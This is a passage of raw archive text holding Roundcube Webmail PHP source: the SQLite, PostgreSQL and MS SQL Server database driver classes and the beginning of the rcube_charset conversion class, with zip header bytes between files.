 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 |   for SQLite database                                                 |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 * This is a wrapper for the PHP PDO
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_sqlite extends rcube_db
{
    public $db_provider = 'sqlite';

    /**
     * Prepare connection
     */
    protected function conn_prepare($dsn)
    {
        // Create database file, required by PDO to exist on connection
        if (!empty($dsn['database']) && !file_exists($dsn['database'])) {
            $created = touch($dsn['database']);

            // File mode setting, for compat. with MDB2
            if (!empty($dsn['mode']) && $created) {
                chmod($dsn['database'], octdec($dsn['mode']));
            }
        }
    }

    /**
     * Configure connection, create database if not exists
     */
    protected function conn_configure($dsn, $dbh)
    {
        // Initialize database structure in file is empty
        if (!empty($dsn['database']) && !filesize($dsn['database'])) {
            $data = file_get_contents(RCUBE_INSTALL_PATH . 'SQL/sqlite.initial.sql');

            if (strlen($data)) {
                $this->debug('INITIALIZE DATABASE');

                $q = $dbh->exec($data);

                if ($q === false) {
                    $error = $dbh->errorInfo();
                    $this->db_error = true;
                    $this->db_error_msg = sprintf('[%s] %s', $error[1], $error[2]);

                    rcube::raise_error([
                            'code' => 500, 'type' => 'db',
                            'line' => __LINE__, 'file' => __FILE__,
                            'message' => $this->db_error_msg
                        ],
                        true, false
                    );
                }
            }
        }

        // Enable WAL mode to fix locking issues like #8035.
        $dbh->query("PRAGMA journal_mode = WAL");

        // Enable foreign keys (requires sqlite 3.6.19 compiled with FK support)
        $dbh->query("PRAGMA foreign_keys = ON");
    }

    /**
     * Return SQL statement to convert a field value into a unix timestamp
     *
     * @param string $field Field name
     *
     * @return string  SQL statement to use in query
     * @deprecated
     */
    public function unixtimestamp($field)
    {
        return "strftime('%s', $field)";
    }

    /**
     * Return SQL function for current time and date
     *
     * @param int $interval Optional interval (in seconds) to add/subtract
     *
     * @return string SQL function to use in query
     */
    public function now($interval = 0)
    {
        $add = '';

        if ($interval) {
            $add = ($interval > 0 ? '+' : '') . intval($interval) . ' seconds';
        }

        return "datetime('now'" . ($add ? ", '$add'" : "") . ")";
    }

    /**
     * Returns list of tables in database
     *
     * @return array List of all tables of the current database
     */
    public function list_tables()
    {
        if ($this->tables === null) {
            $q = $this->query('SELECT name FROM sqlite_master'
                .' WHERE type = \'table\' ORDER BY name');

            $this->tables = $q ? $q->fetchAll(PDO::FETCH_COLUMN, 0) : [];
        }

        return $this->tables;
    }

    /**
     * Returns list of columns in database table
     *
     * @param string $table Table name
     *
     * @return array List of table cols
     */
    public function list_cols($table)
    {
        $q = $this->query('PRAGMA table_info(?)', $table);

        return $q ? $q->fetchAll(PDO::FETCH_COLUMN, 1) : [];
    }

    /**
     * Build DSN string for PDO constructor
     */
    protected function dsn_string($dsn)
    {
        return $dsn['phptype'] . ':' . $dsn['database'];
    }

    /**
     * Returns driver-specific connection options
     *
     * @param array $dsn DSN parameters
     *
     * @return array Connection options
     */
    protected function dsn_options($dsn)
    {
        $result = parent::dsn_options($dsn);

        // Change the default timeout (60) to a smaller value
        $result[PDO::ATTR_TIMEOUT] = isset($dsn['timeout']) ? intval($dsn['timeout']) : 10;

        return $result;
    }
}
PK
h�\�i8��(�("program/lib/Roundcube/db/pgsql.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 |   for PostgreSQL database                                             |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 * This is a wrapper for the PHP PDO
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_pgsql extends rcube_db
{
    public $db_provider = 'postgres';

    // See https://www.postgresql.org/docs/current/static/libpq-connect.html#LIBPQ-PARAMKEYWORDS
    private static $libpq_connect_params = [
        'application_name',
        'sslmode',
        'sslcert',
        'sslkey',
        'sslrootcert',
        'sslcrl',
        'sslcompression',
        'service'
    ];

    public function __construct($db_dsnw, $db_dsnr = '', $pconn = false)
    {
        parent::__construct($db_dsnw, $db_dsnr, $pconn);

        // use date/time input format with timezone spec.
        $this->options['datetime_format'] = 'c';
    }

    /**
     * Driver-specific configuration of database connection
     *
     * @param array $dsn DSN for DB connections
     * @param PDO   $dbh Connection handler
     */
    protected function conn_configure($dsn, $dbh)
    {
        $dbh->query("SET NAMES 'utf8'");
        $dbh->query("SET DATESTYLE TO ISO");

        // if ?schema= is set in dsn, set the search_path
        if (!empty($dsn['schema'])) {
            $dbh->query("SET search_path TO " . $this->quote($dsn['schema']));
        }
    }

    /**
     * Get last inserted record ID
     *
     * @param string $table Table name (to find the incremented sequence)
     *
     * @return mixed ID or false on failure
     */
    public function insert_id($table = null)
    {
        if (!$this->db_connected || $this->db_mode == 'r') {
            return false;
        }

        if ($table) {
            $table = $this->sequence_name($table);
        }

        return $this->dbh->lastInsertId($table);
    }

    /**
     * Return correct name for a specific database sequence
     *
     * @param string $table Table name
     *
     * @return string Translated sequence name
     */
    protected function sequence_name($table)
    {
        // Note: we support only one sequence per table
        // Note: The sequence name must be <table_name>_seq
        $sequence = $table . '_seq';

        // modify sequence name if prefix is configured
        if ($prefix = $this->options['table_prefix']) {
            return $prefix . $sequence;
        }

        return $sequence;
    }

    /**
     * Return SQL statement to convert a field value into a unix timestamp
     *
     * @param string $field Field name
     *
     * @return string SQL statement to use in query
     * @deprecated
     */
    public function unixtimestamp($field)
    {
        return "EXTRACT (EPOCH FROM $field)";
    }

    /**
     * Return SQL function for current time and date
     *
     * @param int $interval Optional interval (in seconds) to add/subtract
     *
     * @return string SQL function to use in query
     */
    public function now($interval = 0)
    {
        $result = 'now()';

        if ($interval) {
            $result .= ' ' . ($interval > 0 ? '+' : '-') . " interval '"
                . ($interval > 0 ? intval($interval) : intval($interval) * -1)
                . " seconds'";
        }

        return $result;
    }

    /**
     * Return SQL statement for case insensitive LIKE
     *
     * @param string $column Field name
     * @param string $value  Search value
     *
     * @return string SQL statement to use in query
     */
    public function ilike($column, $value)
    {
        return $this->quote_identifier($column) . ' ILIKE ' . $this->quote($value);
    }

    /**
     * Get database runtime variables
     *
     * @param string $varname Variable name
     * @param mixed  $default Default value if variable is not set
     *
     * @return mixed Variable value or default
     */
    public function get_variable($varname, $default = null)
    {
        // There's a known case when max_allowed_packet is queried
        // PostgreSQL doesn't have such limit, return immediately
        if ($varname == 'max_allowed_packet') {
            return rcube::get_instance()->config->get('db_' . $varname, $default);
        }

        $this->variables[$varname] = rcube::get_instance()->config->get('db_' . $varname);

        if (!isset($this->variables)) {
            $this->variables = [];

            $result = $this->query('SHOW ALL');

            while ($row = $this->fetch_array($result)) {
                $this->variables[$row[0]] = $row[1];
            }
        }

        return $this->variables[$varname] ?? $default;
    }

    /**
     * INSERT ... ON CONFLICT DO UPDATE.
     * When not supported by the engine we do UPDATE and INSERT.
     *
     * @param string $table   Table name (should be already passed via table_name() with quoting)
     * @param array  $keys    Hash array (column => value) of the unique constraint
     * @param array  $columns List of columns to update
     * @param array  $values  List of values to update (number of elements
     *                        should be the same as in $columns)
     *
     * @return PDOStatement|bool Query handle or False on error
     * @todo Multi-insert support
     */
    public function insert_or_update($table, $keys, $columns, $values)
    {
        // Check if version >= 9.5, otherwise use fallback
        if ($this->get_variable('server_version_num') < 90500) {
            return parent::insert_or_update($table, $keys, $columns, $values);
        }

        $columns = array_map([$this, 'quote_identifier'], $columns);
        $target  = implode(', ', array_map([$this, 'quote_identifier'], array_keys($keys)));
        $cols    = $target . ', ' . implode(', ', $columns);
        $vals    = implode(', ', array_map(function($i) { return $this->quote($i); }, $keys));
        $vals   .= ', ' . rtrim(str_repeat('?, ', count($columns)), ', ');
        $update  = implode(', ', array_map(function($i) { return "$i = EXCLUDED.$i"; }, $columns));

        return $this->query("INSERT INTO $table ($cols) VALUES ($vals)"
            . " ON CONFLICT ($target) DO UPDATE SET $update", $values);
    }

    /**
     * Returns list of tables in a database
     *
     * @return array List of all tables of the current database
     */
    public function list_tables()
    {
        // get tables if not cached
        if ($this->tables === null) {
            if (($schema = $this->options['table_prefix']) && $schema[strlen($schema)-1] === '.') {
                $add = " AND TABLE_SCHEMA = " . $this->quote(substr($schema, 0, -1));
            }
            else {
                $add = " AND TABLE_SCHEMA NOT IN ('pg_catalog', 'information_schema')";
            }

            $q = $this->query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES"
                . " WHERE TABLE_TYPE = 'BASE TABLE'" . $add
                . " ORDER BY TABLE_NAME");

            $this->tables = $q ? $q->fetchAll(PDO::FETCH_COLUMN, 0) : [];
        }

        return $this->tables;
    }

    /**
     * Returns list of columns in database table
     *
     * @param string $table Table name
     *
     * @return array List of table cols
     */
    public function list_cols($table)
    {
        $args = [$table];

        if (($schema = $this->options['table_prefix']) && $schema[strlen($schema)-1] === '.') {
            $add    = " AND TABLE_SCHEMA = ?";
            $args[] = substr($schema, 0, -1);
        }
        else {
            $add = " AND TABLE_SCHEMA NOT IN ('pg_catalog', 'information_schema')";
        }

        $q = $this->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS"
            . " WHERE TABLE_NAME = ?" . $add, $args);

        if ($q) {
            return $q->fetchAll(PDO::FETCH_COLUMN, 0);
        }

        return [];
    }

    /**
     * Returns PDO DSN string from DSN array
     *
     * @param array $dsn DSN parameters
     *
     * @return string DSN string
     */
    protected function dsn_string($dsn)
    {
        $params = [];
        $result = 'pgsql:';

        if (isset($dsn['hostspec'])) {
            $params[] = 'host=' . $dsn['hostspec'];
        }
        else if (isset($dsn['socket'])) {
            $params[] = 'host=' . $dsn['socket'];
        }

        if (isset($dsn['port'])) {
            $params[] = 'port=' . $dsn['port'];
        }

        if (isset($dsn['database'])) {
            $params[] = 'dbname=' . $dsn['database'];
        }

        foreach (self::$libpq_connect_params as $param) {
            if (isset($dsn[$param])) {
                $params[] = $param . '=' . $dsn[$param];
            }
        }

        if (!empty($params)) {
            $result .= implode(';', $params);
        }

        return $result;
    }

    /**
     * Parse SQL file and fix table names according to table prefix
     */
    protected function fix_table_names($sql)
    {
        if (!$this->options['table_prefix']) {
            return $sql;
        }

        $sql = parent::fix_table_names($sql);

        // replace sequence names, and other postgres-specific commands
        $sql = preg_replace_callback(
            '/((SEQUENCE |RENAME TO |nextval\()["\']*)([^"\' \r\n]+)/',
            [$this, 'fix_table_names_callback'],
            $sql
        );

        return $sql;
    }
}
PK
h�\�߁�"program/lib/Roundcube/db/mssql.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 |   for MS SQL Server database                                          |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 * This is a wrapper for the PHP PDO
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_mssql extends rcube_db
{
    public $db_provider = 'mssql';

    /**
     * {@inheritdoc}
     */
    public function __construct($db_dsnw, $db_dsnr = '', $pconn = false)
    {
        parent::__construct($db_dsnw, $db_dsnr, $pconn);

        $this->options['identifier_start'] = '[';
        $this->options['identifier_end'] = ']';
    }

    /**
     * Driver-specific configuration of database connection
     *
     * @param array $dsn DSN for DB connections
     * @param PDO   $dbh Connection handler
     */
    protected function conn_configure($dsn, $dbh)
    {
        // Set date format in case of non-default language (#1488918)
        $dbh->query("SET DATEFORMAT ymd");
    }

    /**
     * Return SQL function for current time and date
     *
     * @param int $interval Optional interval (in seconds) to add/subtract
     *
     * @return string SQL function to use in query
     */
    public function now($interval = 0)
    {
        if ($interval) {
            $interval = intval($interval);
            return "dateadd(second, $interval, getdate())";
        }

        return "getdate()";
    }

    /**
     * Return SQL statement to convert a field value into a unix timestamp
     *
     * @param string $field Field name
     *
     * @return string SQL statement to use in query
     * @deprecated
     */
    public function unixtimestamp($field)
    {
        return "DATEDIFF(second, '19700101', $field) + DATEDIFF(second, GETDATE(), GETUTCDATE())";
    }

    /**
     * Abstract SQL statement for value concatenation
     *
     * @return string ...$args Values to concatenate
     */
    public function concat(...$args)
    {
        if (count($args) == 1 && is_array($args[0])) {
            $args = $args[0];
        }

        return '(' . implode('+', $args) . ')';
    }

    /**
     * Adds TOP (LIMIT,OFFSET) clause to the query
     *
     * @param string $query  SQL query
     * @param int    $limit  Number of rows
     * @param int    $offset Offset
     *
     * @return string SQL query
     */
    protected function set_limit($query, $limit = 0, $offset = 0)
    {
        $limit  = intval($limit);
        $offset = intval($offset);
        $end    = $offset + $limit;

        // query without OFFSET
        if (!$offset) {
            $query = preg_replace('/^SELECT\s/i', "SELECT TOP $limit ", $query);
            return $query;
        }

        $orderby = stristr($query, 'ORDER BY');
        $offset += 1;

        if ($orderby !== false) {
            $query = trim(substr($query, 0, -1 * strlen($orderby)));
        }
        else {
            // it shouldn't happen, paging without sorting has not much sense
            // @FIXME: I don't know how to build paging query without ORDER BY
            $orderby = "ORDER BY 1";
        }

        $query = preg_replace('/^SELECT\s/i', '', $query);
        $query = "WITH paging AS (SELECT ROW_NUMBER() OVER ($orderby) AS [RowNumber], $query)"
            . " SELECT * FROM paging WHERE [RowNumber] BETWEEN $offset AND $end ORDER BY [RowNumber]";

        return $query;
    }

    /**
     * Returns PDO DSN string from DSN array
     */
    protected function dsn_string($dsn)
    {
        $params = [];
        $result = $dsn['phptype'] . ':';

        if (isset($dsn['hostspec'])) {
            $host = $dsn['hostspec'];
            if (isset($dsn['port'])) {
                $host .= ',' . $dsn['port'];
            }
            $params[] = 'host=' . $host;
        }

        if (isset($dsn['database'])) {
            $params[] = 'dbname=' . $dsn['database'];
        }

        if (!empty($params)) {
            $result .= implode(';', $params);
        }

        return $result;
    }

    /**
     * Parse SQL file and fix table names according to table prefix
     */
    protected function fix_table_names($sql)
    {
        if (!$this->options['table_prefix']) {
            return $sql;
        }

        // replace sequence names, and other postgres-specific commands
        $sql = preg_replace_callback(
            '/((TABLE|(?<!ON )UPDATE|INSERT INTO|FROM(?! deleted)| ON(?! (DELETE|UPDATE|\[PRIMARY\]))'
            . '|REFERENCES|CONSTRAINT|TRIGGER|INDEX)\s+(\[dbo\]\.)?[\[\]]*)([^\[\]\( \r\n]+)/',
            [$this, 'fix_table_names_callback'],
            $sql
        );

        return $sql;
    }
}
PK
h�\\-r��c�c'program/lib/Roundcube/rcube_charset.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 | Copyright (C) 2000 Edmund Grimley Evans <edmundo@rano.org>            |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide charset conversion functionality                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Edmund Grimley Evans <edmundo@rano.org>                       |
 +-----------------------------------------------------------------------+
*/

/**
 * Character sets conversion functionality
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_charset
{
    /**
     * Character set aliases (some of them from HTML5 spec.)
     *
     * @var array
     */
    static public $aliases = [
        'USASCII'       => 'WINDOWS-1252',
        'ANSIX31101983' => 'WINDOWS-1252',
        'ANSIX341968'   => 'WINDOWS-1252',
        'UNKNOWN8BIT'   => 'ISO-8859-15',
        'UNKNOWN'       => 'ISO-8859-15',
        'USERDEFINED'   => 'ISO-8859-15',
        'KSC56011987'   => 'EUC-KR',
        'GB2312'        => 'GBK',
        'GB231280'      => 'GBK',
        'UNICODE'       => 'UTF-8',
        'UTF7IMAP'      => 'UTF7-IMAP',
        'TIS620'        => 'WINDOWS-874',
        'ISO88599'      => 'WINDOWS-1254',
        'ISO885911'     => 'WINDOWS-874',
        'MACROMAN'      => 'MACINTOSH',
        '77'            => 'MAC',
        '128'           => 'SHIFT-JIS',
        '129'           => 'CP949',
        '130'           => 'CP1361',
        '134'           => 'GBK',
        '136'           => 'BIG5',
        '161'           => 'WINDOWS-1253',
        '162'           => 'WINDOWS-1254',
        '163'           => 'WINDOWS-1258',
        '177'           => 'WINDOWS-1255',
        '178'           => 'WINDOWS-1256',
        '186'           => 'WINDOWS-1257',
        '204'           => 'WINDOWS-1251',
        '222'           => 'WINDOWS-874',
        '238'           => 'WINDOWS-1250',
        'MS950'         => 'CP950',
        'WINDOWS31J'    => 'CP932',
        'WINDOWS949'    => 'UHC',
        'WINDOWS1257'   => 'ISO-8859-13',
        'ISO2022JP'     => 'ISO-2022-JP-MS',
    ];

    /**
     * Windows codepages
     *
     * @var array
     */
    static public $windows_codepages = [
         37 => 'IBM037',    // IBM EBCDIC US-Canada
        437 => 'IBM437',    // OEM United States
        500 => 'IBM500',    // IBM EBCDIC International
        708 => 'ASMO-708',  // Arabic (ASMO 708)
        720 => 'DOS-720',   // Arabic (Transparent ASMO); Arabic (DOS)
        737 => 'IBM737',    // OEM Greek (formerly 437G); Greek (DOS)
        775 => 'IBM775',    // OEM Baltic; Baltic (DOS)
        850 => 'IBM850',    // OEM Multilingual Latin 1; Western European (DOS)
        852 => 'IBM852',    // OEM Latin 2; Central European (DOS)
        855 => 'IBM855',    // OEM Cyrillic (primarily Russian)
        857 => 'IBM857',    // OEM Turkish; Turkish (DOS)
        858 => 'IBM00858',  // OEM Multilingual Latin 1 + Euro symbol
        860 => 'IBM860',    // OEM Portuguese; Portuguese (DOS)
        861 => 'IBM861',    // OEM Icelandic; Icelandic (DOS)
        862 => 'DOS-862',   // OEM Hebrew; Hebrew (DOS)
        863 => 'IBM863',    // OEM French Canadian; French Canadian (DOS)
        864 => 'IBM864',    // OEM Arabic; Arabic (864)
        865 => 'IBM865',    // OEM Nordic; Nordic (DOS)
        866 => 'cp866',     // OEM Russian; Cyrillic (DOS)
        869 => 'IBM869',    // OEM Modern Greek; Greek, Modern (DOS)
        870 => 'IBM870',    // IBM EBCDIC Multilingual/ROECE (Latin 2); IBM EBCDIC Multilingual Latin 2
        874 => 'windows-874',  // ANSI/OEM Thai (ISO 8859-11); Thai (Windows)
        875 => 'cp875',     // IBM EBCDIC Greek Modern
        932 => 'shift_jis', // ANSI/OEM Japanese; Japanese (Shift-JIS)
        936 => 'gb2312',    // ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
        950 => 'big5',      // ANSI/OEM Traditional Chinese (Taiwan; Hong Kong SAR, PRC); Chinese Traditional (Big5)
        1026 => 'IBM1026',      // IBM EBCDIC Turkish (Latin 5)
        1047 => 'IBM01047',     // IBM EBCDIC Latin 1/Open System
        1140 => 'IBM01140',     // IBM EBCDIC US-Canada (037 + Euro symbol); IBM EBCDIC (US-Canada-Euro)
        1141 => 'IBM01141',     // IBM EBCDIC Germany (20273 + Euro symbol); IBM EBCDIC (Germany-Euro)
        1142 => 'IBM01142',     // IBM EBCDIC Denmark-Norway (20277 + Euro symbol); IBM EBCDIC (Denmark-Norway-Euro)
        1143 => 'IBM01143',     // IBM EBCDIC Finland-Sweden (20278 + Euro symbol); IBM EBCDIC (Finland-Sweden-Euro)
        1144 => 'IBM01144',     // IBM EBCDIC Italy (20280 + Euro symbol); IBM EBCDIC (Italy-Euro)
        1145 => 'IBM01145',     // IBM EBCDIC Latin America-Spain (20284 + Euro symbol); IBM EBCDIC (Spain-Euro)
        1146 => 'IBM01146',     // IBM EBCDIC United Kingdom (20285 + Euro symbol); IBM EBCDIC (UK-Euro)
        1147 => 'IBM01147',     // IBM EBCDIC France (20297 + Euro symbol); IBM EBCDIC (France-Euro)
        1148 => 'IBM01148',     // IBM EBCDIC International (500 + Euro symbol); IBM EBCDIC (International-Euro)
        1149 => 'IBM01149',     // IBM EBCDIC Icelandic (20871 + Euro symbol); IBM EBCDIC (Icelandic-Euro)
        1200 => 'UTF-16',       // Unicode UTF-16, little endian byte order (BMP of ISO 10646); available only to managed applications
        1201 => 'UTF-16BE',     // Unicode UTF-16, big endian byte order; available only to managed applications
        1250 => 'windows-1250', // ANSI Central European; Central European (Windows)
        1251 => 'windows-1251', // ANSI Cyrillic; Cyrillic (Windows)
        1252 => 'windows-1252', // ANSI Latin 1; Western European (Windows)
        1253 => 'windows-1253', // ANSI Greek; Greek (Windows)
        1254 => 'windows-1254', // ANSI Turkish; Turkish (Windows)
        1255 => 'windows-1255', // ANSI Hebrew; Hebrew (Windows)
        1256 => 'windows-1256', // ANSI Arabic; Arabic (Windows)
        1257 => 'windows-1257', // ANSI Baltic; Baltic (Windows)
        1258 => 'windows-1258', // ANSI/OEM Vietnamese; Vietnamese (Windows)
        10000 => 'macintosh',   // MAC Roman; Western European (Mac)
        12000 => 'UTF-32',      // Unicode UTF-32, little endian byte order; available only to managed applications
        12001 => 'UTF-32BE',    // Unicode UTF-32, big endian byte order; available only to managed applications
        20127 => 'US-ASCII',    // US-ASCII (7-bit)
        20273 => 'IBM273',      // IBM EBCDIC Germany
        20277 => 'IBM277',      // IBM EBCDIC Denmark-Norway
        20278 => 'IBM278',      // IBM EBCDIC Finland-Sweden
        20280 => 'IBM280',      // IBM EBCDIC Italy
        20284 => 'IBM284',      // IBM EBCDIC Latin America-Spain
        20285 => 'IBM285',      // IBM EBCDIC United Kingdom
        20290 => 'IBM290',      // IBM EBCDIC Japanese Katakana Extended
        20297 => 'IBM297',      // IBM EBCDIC France
        20420 => 'IBM420',      // IBM EBCDIC Arabic
        20423 => 'IBM423',      // IBM EBCDIC Greek
        20424 => 'IBM424',      // IBM EBCDIC Hebrew
        20838 => 'IBM-Thai',    // IBM EBCDIC Thai
        20866 => 'koi8-r',      // Russian (KOI8-R); Cyrillic (KOI8-R)
        20871 => 'IBM871',      // IBM EBCDIC Icelandic
        20880 => 'IBM880',      // IBM EBCDIC Cyrillic Russian
        20905 => 'IBM905',      // IBM EBCDIC Turkish
        20924 => 'IBM00924',    // IBM EBCDIC Latin 1/Open System (1047 + Euro symbol)
        20932 => 'EUC-JP',      // Japanese (JIS 0208-1990 and 0212-1990)
        20936 => 'cp20936',     // Simplified Chinese (GB2312); Chinese Simplified (GB2312-80)
        20949 => 'cp20949',     // Korean Wansung
        21025 => 'cp1025',      // IBM EBCDIC Cyrillic Serbian-Bulgarian
        21866 => 'koi8-u',      // Ukrainian (KOI8-U); Cyrillic (KOI8-U)
        28591 => 'iso-8859-1',  // ISO 8859-1 Latin 1; Western European (ISO)
        28592 => 'iso-8859-2',  // ISO 8859-2 Central European; Central European (ISO)
        28593 => 'iso-8859-3',  // ISO 8859-3 Latin 3
        28594 => 'iso-8859-4',  // ISO 8859-4 Baltic
        28595 => 'iso-8859-5',  // ISO 8859-5 Cyrillic
        28596 => 'iso-8859-6',  // ISO 8859-6 Arabic
        28597 => 'iso-8859-7',  // ISO 8859-7 Greek
        28598 => 'iso-8859-8',  // ISO 8859-8 Hebrew; Hebrew (ISO-Visual)
        28599 => 'iso-8859-9',  // ISO 8859-9 Turkish
        28603 => 'iso-8859-13', // ISO 8859-13 Estonian
        28605 => 'iso-8859-15', // ISO 8859-15 Latin 9
        38598 => 'iso-8859-8-i', // ISO 8859-8 Hebrew; Hebrew (ISO-Logical)
        50220 => 'iso-2022-jp', // ISO 2022 Japanese with no halfwidth Katakana; Japanese (JIS)
        50221 => 'csISO2022JP', // ISO 2022 Japanese with halfwidth Katakana; Japanese (JIS-Allow 1 byte Kana)
        50222 => 'iso-2022-jp', // ISO 2022 Japanese JIS X 0201-1989; Japanese (JIS-Allow 1 byte Kana - SO/SI)
        50225 => 'iso-2022-kr', // ISO 2022 Korean
        51932 => 'EUC-JP',      // EUC Japanese
        51936 => 'EUC-CN',      // EUC Simplified Chinese; Chinese Simplified (EUC)
        51949 => 'EUC-KR',      // EUC Korean
        52936 => 'hz-gb-2312',  // HZ-GB2312 Simplified Chinese; Chinese Simplified (HZ)
        54936 => 'GB18030',     // Windows XP and later: GB18030 Simplified Chinese (4 byte); Chinese Simplified (GB18030)
        65000 => 'UTF-7',
        65001 => 'UTF-8',
    ];

    /**
     * Validate character set identifier.
     *
     * @param string $input Character set identifier
     *
     * @return bool True if valid, False if not valid
     */
    public static function is_valid($input)
    {
        return is_string($input) && preg_match('|^[a-zA-Z0-9_./:#-]{2,32}$|', $input) > 0;
    }

    /**
     * Parse and validate charset name string.
     * Sometimes charset string is malformed, there are also charset aliases,
     * but we need strict names for charset conversion (specially utf8 class)
     *
     * @param string $input Input charset name
     *
     * @return string The validated charset name
     */
    public static function parse_charset($input)
    {
        static $charsets = [];

        $charset = strtoupper((string) $input);

        if (isset($charsets[$input])) {
            return $charsets[$input];
        }

        $charset = preg_replace([
            '/^[^0-9A-Z]+/',    // e.g. _ISO-8859-JP$SIO
            '/\$.*$/',          // e.g. _ISO-8859-JP$SIO
            '/UNICODE-1-1-*/',  // RFC1641/1642
            '/^X-/',            // X- prefix (e.g. X-ROMAN8 => ROMAN8)
            '/\*.*$/'           // lang code according to RFC 2231.5
        ], '', $charset);

        if ($charset == 'BINARY') {
            return $charsets[$input] = null;
        }

        // allow A-Z and 0-9 only
        $str = preg_replace('/[^A-Z0-9]/', '', $charset);

        $result = $charset;

        if (isset(self::$aliases[$str])) {
            $result = self::$aliases[$str];
        }
        // UTF
        else if (preg_match('/U[A-Z][A-Z](7|8|16|32)(BE|LE)*/', $str, $m)) {
            $result = 'UTF-' . $m[1] . (!empty($m[2]) ? $m[2] : '');
        }
        // ISO-8859
        else if (preg_match('/ISO8859([0-9]{0,2})/', $str, $m)) {
            $iso = 'ISO-8859-' . ($m[1] ?: 1);
            // some clients sends windows-1252 text as latin1,
            // it is safe to use windows-1252 for all latin1
            $result = $iso == 'ISO-8859-1' ? 'WINDOWS-1252' : $iso;
        }
        // handle broken charset names e.g. WINDOWS-1250HTTP-EQUIVCONTENT-TYPE
        else if (preg_match('/(WIN|WINDOWS)([0-9]+)/', $str, $m)) {
            $result = 'WINDOWS-' . $m[2];
        }
        // LATIN
        else if (preg_match('/LATIN(.*)/', $str, $m)) {
            $aliases = ['2' => 2, '3' => 3, '4' => 4, '5' => 9, '6' => 10,
                '7' => 13, '8' => 14, '9' => 15, '10' => 16,
                'ARABIC' => 6, 'CYRILLIC' => 5, 'GREEK' => 7, 'GREEK1' => 7, 'HEBREW' => 8
            ];

            // some clients sends windows-1252 text as latin1,
            // it is safe to use windows-1252 for all latin1
            if ($m[1] == 1) {
                $result = 'WINDOWS-1252';
            }
            // we need ISO labels
            else if (!empty($aliases[$m[1]])) {
                $result = 'ISO-8859-'.$aliases[$m[1]];
            }
        }

        $charsets[$input] = $result;

        return $result;
    }

    /**
     * Convert a string from one charset to another.
     *
     * @param string $str  Input string
     * @param string $from Suspected charset of the input string
     * @param string $to   Target charset to convert to; defaults to RCUBE_CHARSET
     *
     * @return string Converted string
     */
    public static function convert($str, $from, $to = null)
    {
        static $iconv_options;

        $to   = empty($to) ? RCUBE_CHARSET : self::parse_charset($to);
        $from = self::parse_charset($from);

        // It is a common case when UTF-16 charset is used with US-ASCII content (#1488654)
        // In that case we can just skip the conversion (use UTF-8)
        if ($from == 'UTF-16' && !preg_match('/[^\x00-\x7F]/', $str)) {
            $from = 'UTF-8';
        }

        if ($from == $to || empty($str) || empty($from)) {
            return $str;
        }

        $out = false;
        $error_handler = function() { throw new \Exception(); };

        // Ignore invalid characters
        $mbstring_sc = mb_substitute_character();
        mb_substitute_character('none');

        // If mbstring reports an illegal character in input via E_WARNING.
        // FIXME: Is this really true with substitute character 'none'?
        // A warning is thrown in PHP<8 also on unsupported encoding, in PHP>=8 ValueError
        // is thrown instead (therefore we catch Throwable below)
        set_error_handler($error_handler, E_WARNING);

        try {
            $out = mb_convert_encoding($str, $to, $from);
        }
        catch (Throwable $e) {
            $out = false;
        }

        restore_error_handler();
        mb_substitute_character($mbstring_sc);

        if ($out !== false) {
            return $out;
        }

        if ($iconv_options === null) {
            if (function_exists('iconv')) {
                // ignore characters not available in output charset
                $iconv_options = '//IGNORE';
                if (iconv('', $iconv_options, '') === false) {
                    // iconv implementation does not support options
                    $iconv_options = '';
                }
            }
            else {
                $iconv_options = false;
            }
        }

        // Fallback to iconv module, it is slower, but supports much more charsets than mbstring
        if ($iconv_options !== false && $from != 'UTF7-IMAP' && $to != 'UTF7-IMAP'
            && $from !== 'ISO-2022-JP'
        ) {
            // If iconv reports an illegal character in input it means that input string
            // has been truncated. It's reported as E_NOTICE.
            // PHP8 will also throw E_WARNING on unsupported encoding.
            set_error_handler($error_handler, E_NOTICE | E_WARNING);

            try {
                $out = iconv($from, $to . $iconv_options, $str);
            }
            catch (Throwable $e) {
                $out = false;
            }

            restore_error_handler();

            if ($out !== false) {
                return $out;
            }
        }

        // return the original string
        return $str;
    }

    /**
     * Check if the specified input string matches one of the provided charsets.
